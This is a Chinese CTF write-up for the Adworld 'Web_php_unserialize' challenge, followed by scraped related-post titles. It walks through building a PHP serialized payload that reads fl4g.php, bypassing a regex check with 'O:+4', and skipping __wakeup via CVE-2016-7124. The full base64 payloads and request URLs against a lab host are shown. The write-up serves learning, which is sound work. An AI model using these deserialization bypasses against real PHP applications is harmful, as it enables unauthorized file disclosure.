长亭php反序列化防护_CTF-攻防世界-Web_php_unserialize(PHP反序列化)
题目
解题过程
PHP反序列化的一道题,从代码看出flage在fl4g.php这个文件里面,Demo类的构造方法可以传入文件名。把Demo的代码贴到本地做一下序列化
classDemo {private $file = 'index.php';public function __construct($file) {$this->file = $file;
}function__destruct() {echo @highlight_file($this->file, true);
}function__wakeup() {if ($this->file != 'index.php') {//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}$demo = new Demo('fl4g.php');$serialized_data = serialize($demo);echo $serialized_data;
View Code
得到序列化结果:O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";},通过var参数传入,这里有两个问题:
1.var参数要先进行base64编码
调用php自带的base64_encode函数进行编码
2.要绕过正则检查
/[oc]:\d+:/i这个正则绕过书上看见过(所以没事要多看书 >_< ),O后面加上+就可以了:O:+4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
最后访问连接:http://220.249.52.133:36207/index.php?var=TzorNDoiRGVtbyI6MTp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
嗯,失败了,因为__wakeup有判断文件名不是index.php就自动跳回index.php页面。。。
所以还有第3步要做,绕过__wakeup的检查,这个正好也在书上看见过(再次印证没事要多看书 >_< )
CVE-2016-7124:__wakeup失效,当属性个数不正确时,PHP不会调用__wakeup()。影响版本PHP5-PHP5.6.25,PHP7-PHP7.0.10。
修改属性个数1为2:O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";},在进行编码后传入var参数
最终的代码:
classDemo {private $file = 'index.php';public function __construct($file) {$this->file = $file;
}function__destruct() {echo @highlight_file($this->file, true);
}function__wakeup() {if ($this->file != 'index.php') {//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}$demo = new Demo('fl4g.php');$serialized_data = serialize($demo);$str=str_replace('O:4', 'O:+4',$serialized_data);$str=str_replace(':1:', ':2:',$str);echo base64_encode($str);
View Code
这里有一个坑,base64编码必须调用php自带的编码函数才行,直接拿去在线base64编码的结果无法拿到flag,原因不明。。。
访问链接:http://220.249.52.133:36207/index.php?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
拿到flag:
长亭php反序列化防护_CTF-攻防世界-Web_php_unserialize(PHP反序列化)相关推荐
- [CTF/网络安全]攻防世界unserialize3解题详析及php序列化反序列化实例讲解
[CTF/网络安全]攻防世界unserialize3解题详析及php序列化反序列化实例讲解 _wakeup()及php序列化反序列化 序列化字符串结构分析 _wakeup()的利用 解题思路 伪属性数 ...
- 攻防世界各类题目相关
攻防世界 全沾菜鸡一枚的学习记录,如有冒犯还请大佬们多多指正. 这里面的题目自己再写的时候和复现的时候,有许多的是借鉴的大佬们的文章进行复现的,但是由于太多,并没有完整的记录下那些大佬们的博客的文章, ...
- 攻防世界writeup
攻防世界writeup 前言 web 新手练习 view_source get_post robots backup cookie disabled_button simple_js xff_refe ...
- 攻防世界WEB练习-easyupload
前言 作者简介:不知名白帽,网络安全学习者. 博客主页:https://blog.csdn.net/m0_63127854?type=blog 攻防世界专栏:https://blog.csdn.net ...
- 攻防世界Web题 - unseping 总结
攻防世界Web题 - unseping 总结 1.审题 进入题目,可以看出来是典型的php反序列化题目. 2.源代码分析 <?php highlight_file(__FILE__); //显示 ...
- 攻防世界-----web知识点总结
WEB 一. 网页源代码的方式 在地址栏前面加上view-source,如view-source:https://www.baidu.com 浏览器的设置菜单框中使用开发者工具,也可以查看网页源代码. ...
- 攻防世界unseping
感觉新手题里面最难的一题 ----------------------------------------------------------------正文 原题:攻防世界 这个题涉及的只是挺多的, ...
- 攻防世界[刷题笔记]之Web方向(练习区)(后半)
网络安全学习 攻防世界[刷题笔记] Web方向(新手区)(后半) xff_referer webshell command_execution simple_js 小结 攻防世界[刷题笔记] Web方 ...
- 攻防世界 web高手进阶区 9分题 bilibili
前言 继续ctf的旅程 开始攻防世界web高手进阶区的9分题 本文是bilibili的writeup 解题过程 进来界面 这尼玛出题人是黑还是粉啊 笑死 看题目意思是买lv6 惯例源码+御剑 没发现什 ...
最新文章
- Web 开发人员必备的随机 JSON 数据生成工具
- P5568 [SDOI2008]校门外的区间(离散数学应用+线段树+开闭区间处理)(校门三部曲)难度⭐⭐⭐⭐
- Hibernate映射解析——七种映射关系
- python中一共有多少个关键字-python – 搜索多个关键字的字符串列表
- ORACLE 11g 使用ROWNUM完美解决ORA-00600:内部错误代码
- npm run dev 后dist 被情况_npmamp;npxamp;nvmamp;yarn 介绍
- javaweb学习总结十七(web应用组织结构、web.xml作用以及配置虚拟主机搭建网站)
- jquery文件上传插件 uploadify java_jQuery文件上传插件Uploadify使用指南
- live555 源码分析: PLAY 的处理
- java方法调用机制_Java方法调用机制 - osc_bkdv2it5的个人空间 - OSCHINA - 中文开源技术交流社区...
- 前端学习(554):node实现登录和注册第二部分代码
- SparkStreaming之mapWithState
- 黑客全家桶、文字提取利器、深度学习 500 问 | GitHub 热点速览
- nvl2可以套公式吗 oracle_包装设计也可以套公式?8个公式带你玩转包装创意表现形式...
- 为什么这本书大家都称好
- [HNOI2019]JOJO(KMP自动机+主席树)
- 菜鸟教程Python教程100例(一)(持续更新)
- 教程 ios 4 以上安装mobile terminal的最简单方法
- Java标准教程:Java 2D绘图--第4章 使用Text API
- 运算符和强制类型转换